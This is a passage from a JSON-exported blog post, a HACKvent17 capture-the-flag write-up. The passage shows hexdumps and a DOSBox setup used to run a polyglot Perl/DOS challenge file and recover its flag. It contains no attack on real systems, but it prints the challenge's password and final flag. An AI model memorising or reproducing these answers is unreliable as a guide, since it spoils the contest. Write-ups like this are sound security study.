68 61 84 30 7c 5f  75 2d 61 72 75 30 6f 5f  |-wha.0|_u-aru0o_|\r\n00000020  6f 6b 69 6e 77 30 69 5f  72 0a 41 72 75 23 7c 5f  |okinw0i_r.Aru#|_|\r\n00000030  75 20 73 75 82 68 23 64  68 61 74 20 7f 71 6f 69  |u su.h#dhat .qoi|\r\n00000040  20 70 65 72 7c 23 66 51  6e 20 70 61 82 76 68 10  | per|#fQn pa.vh.|\r\n00000050  50 65 72 6c 4f 0d 50 59  63 72 6f 73 7f 69 77 17  |PerlO.PYcros.iw.|\r\n00000060  73 20 79 65 30 72 6f 54  20 73 68 65 7c 6f 23 54  |s ye0roT she|o#T|\r\n00000070  6f 65 73 20 7e 72 77 10  65 76 65 6e 30 6e 71 5f  |oes ~rw.even0nq_|\r\n00000080  77 20 2f 75 83 75 32 52  69 6e 2f 70 75 75 6f 1e  |w \/u.u2Rin\/puuo.|\r\n00000090  0a                                                |.|\r\n00000091\r\n<\/pre>\n<p>Not yet! Keep on:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\necho &amp;amp;amp;amp;quot;p0lygl0t&amp;amp;amp;amp;quot; &amp;amp;amp;amp;gt; inp\r\n...\r\n<\/pre>\n<p>And again running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/perl.sh\r\n145+0 records in\r\n145+0 records out\r\n145 bytes copied, 0.000483015 s, 300 kB\/s\r\nuser@host:~$ hexdump -C out_new\r\n00000000  48 56 31 37 2d 74 68 69  73 2d 69 73 2d 6e 6f 74  |HV17-this-is-not|\r\n00000010  2d 77 68 61 74 2d 79 6f  75 2d 61 72 65 2d 6c 6f  |-what-you-are-lo|\r\n00000020  6f 6b 69 6e 67 2d 66 6f  72 0a 41 72 65 20 79 6f  |oking-for.Are yo|\r\n00000030  75 20 73 75 72 65 20 74  68 61 74 20 6f 6e 6c 79  |u sure that only|\r\n00000040  20 70 65 72 6c 20 63 61  6e 20 70 61 72 73 65 20  | perl can parse |\r\n00000050  50 65 72 6c 3f 0a 4d 69  63 72 6f 73 6f 66 74 27  |Perl?.Microsoft'|\r\n00000060  73 20 79 65 20 6f 6c 64  20 73 68 65 6c 6c 20 64  |s ye old shell d|\r\n00000070  6f 65 73 20 6e 6f 74 20  65 76 65 6e 20 6b 6e 6f  |oes not even kno|\r\n00000080  77 20 2f 75 73 72 2f 62  69 6e 2f 70 65 72 6c 2e  |w \/usr\/bin\/perl.|\r\n00000090  0a                                                |.|\r\n00000091\r\n<\/pre>\n<p>Looks good! No flag yet, but a hint:<\/p>\n<pre>Are you sure that only perl can parse Perl? Microsoft's ye old shell does not even know \/usr\/bin\/perl.<\/pre>\n<p>The challenge description also suggests that we should execute the file with something other than perl. Now we have got a specific hint. I don&#8217;t really know what&#8217;s meant with Microsoft&#8217;s ye(?) old shell, but this sounds like DOS. Thus I startet googling for a DOS-emulator and stumbled upon DOSBox: https:\/\/www.dosbox.com\/.<\/p>\n<p>In the DOSBox configuration file I added the following lines to mount a local folder where the perl-script resides:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n&#x5B;autoexec]\r\n# Lines in this section will be run at startup.\r\n# You can put your MOUNT lines here.\r\nmount C &amp;amp;amp;amp;quot;C:\\Users\\stef\\Documents\\dosbox\\&amp;amp;amp;amp;quot;\r\nC:\r\n<\/pre>\n<p>Since DOS <i>does not even know \/usr\/bin\/perl<\/i> but rather used COM-files I renamed the script from <code>onlyperl.pl<\/code> to <code>onlyperl.com<\/code>, started up DOSBox and entered <code>ONLYPERL.COM<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos01.png\" alt=\"\" width=\"642\" height=\"458\" class=\"alignnone size-full wp-image-309\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos01.png 642w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos01-300x214.png 300w\" sizes=\"(max-width: 642px) 100vw, 642px\" \/><\/p>\n<p>Looks good! The binary is running. At first there&#8217;s a prompt for the perl password. We already know that this is <code>p0lygl0t<\/code>. But what&#8217;s the <code>DOS code<\/code>? Entering <code>test<\/code> just terminates the program.<\/p>\n<p>After a little bit of testing I figured out that the DOS code must be 6 characters long because otherwise the program terminates directly. When entering a DOS code with the length of 6 a decrypted output is printed. After trying and erroring a little bit I managed to get all characters right:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos02.png\" alt=\"\" width=\"642\" height=\"433\" class=\"alignnone size-full wp-image-310\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos02.png 642w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/dos02-300x202.png 300w\" sizes=\"(max-width: 642px) 100vw, 642px\" \/><\/p>\n<p>Done \ud83d\ude42<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-Ovze-IUGF-W2xs-x2uE-pVRU<\/span><\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>As every year hacking-lab.com carried out the annual HACKvent challenge. Each day from the 1st of december until the 24th a new challenge is published. The difficulty raises from day to day. After all I managed to solve 20 of 24 tasks: Easy Day 01: 5th anniversary Day 02: Wishlist Day 03: Strange Logcat Entry &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=175\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;HACKvent17 writeup&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,7],"tags":[8,9,13,16,15,17,10,11,12,14],"class_list":["post-175","post","type-post","status-publish","format-standard","hentry","category-hacking-lab-com","category-writeup","tag-assembly","tag-binary","tag-elf","tag-hacking-lab","tag-hackvent","tag-misc","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/175"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=175"}],"version-history":[{"count":119,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/175\/revisions"}],"predecessor-version":[{"id":1102,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/175\/revisions\/1102"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}